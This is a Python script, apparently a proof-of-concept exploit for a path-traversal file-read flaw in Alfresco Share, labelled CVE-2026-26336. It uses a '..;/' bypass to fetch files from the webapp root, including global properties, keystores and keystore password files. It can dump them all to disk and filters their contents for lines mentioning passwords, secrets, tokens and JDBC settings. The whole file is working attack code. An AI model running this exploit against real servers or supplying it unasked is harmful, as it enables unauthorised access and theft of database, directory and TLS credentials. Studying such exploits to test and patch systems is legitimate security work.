import argparse import urllib3 import sys urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) try: import requests except ImportError: print("requires: pip install requests") sys.exit(1) BYPASS = "..;/" BASE_PATH = "/share/page/resource/" DEFAULT_TARGETS = { "WEB-INF/web.xml": "Servlet configuration", "WEB-INF/classes/alfresco-global.properties": "Global properties (may contain DB/LDAP/SMTP creds)", "WEB-INF/classes/alfresco-encrypted.properties": "Encrypted properties", "WEB-INF/classes/alfresco/web-extension/share-config-custom.xml": "Share custom config", "WEB-INF/classes/alfresco/share-global.properties": "Share global properties", "WEB-INF/classes/alfresco/keystore/ssl.keystore": "SSL keystore (binary)", "WEB-INF/classes/alfresco/keystore/ssl.truststore": "SSL truststore (binary)", "WEB-INF/classes/alfresco/keystore/ssl-keystore-passwords.properties": "Keystore passwords", "WEB-INF/classes/alfresco/keystore/ssl-truststore-passwords.properties": "Truststore passwords", "META-INF/MANIFEST.MF": "Build info and version", } def read_file(base_url, filepath): url = f"{base_url.rstrip('/')}{BASE_PATH}{BYPASS}{filepath}" r = requests.get(url, verify=False, timeout=15) return r.status_code, r.content def is_error_page(content): return b"HTTP Status 404" in content or b"HTTP Status 500" in content or len(content) == 0 def main(): parser = argparse.ArgumentParser(description="CVE-2026-26336 — Alfresco Share file read") parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. https://ecm.target.com)") parser.add_argument("-f", "--file", help="Single file path to read (relative to webapp root)") parser.add_argument("--dump", action="store_true", help="Dump all default target files") parser.add_argument("-o", "--output", help="Output directory for dumped files") args = parser.parse_args() base = args.target.rstrip("/") if args.file: code, body = read_file(base, args.file) if code == 200 and not is_error_page(body): try: print(body.decode("utf-8")) except UnicodeDecodeError: sys.stdout.buffer.write(body) else: print(f"Not found or not accessible (HTTP {code})", file=sys.stderr) sys.exit(1) return print(f"Target: {base}") print(f"Bypass: {BASE_PATH}{BYPASS}") print() code, body = read_file(base, "WEB-INF/web.xml") if code != 200 or is_error_page(body): print("NOT VULNERABLE — web.xml not accessible") sys.exit(1) print(f"VULNERABLE — web.xml retrieved ({len(body)} bytes)") print() if not args.dump: return import os outdir = args.output or "output" os.makedirs(outdir, exist_ok=True) for filepath, desc in DEFAULT_TARGETS.items(): code, body = read_file(base, filepath) if code == 200 and not is_error_page(body): safe_name = filepath.replace("/", "_").replace("\\", "_") outpath = os.path.join(outdir, safe_name) with open(outpath, "wb") as f: f.write(body) print(f"[+] {filepath} ({len(body)} bytes) -> {outpath}") if len(body) < 5000 and desc != "SSL keystore (binary)" and desc != "SSL truststore (binary)": try: text = body.decode("utf-8") for line in text.splitlines(): low = line.strip().lower() if any(k in low for k in ["pass", "secret", "key=", "cred", "jdbc", "db.", "token", "encrypt"]): print(f" {line.strip()[:120]}") except UnicodeDecodeError: pass else: print(f"[-] {filepath}") print(f"\nFiles saved to {outdir}/") if __name__ == "__main__": main()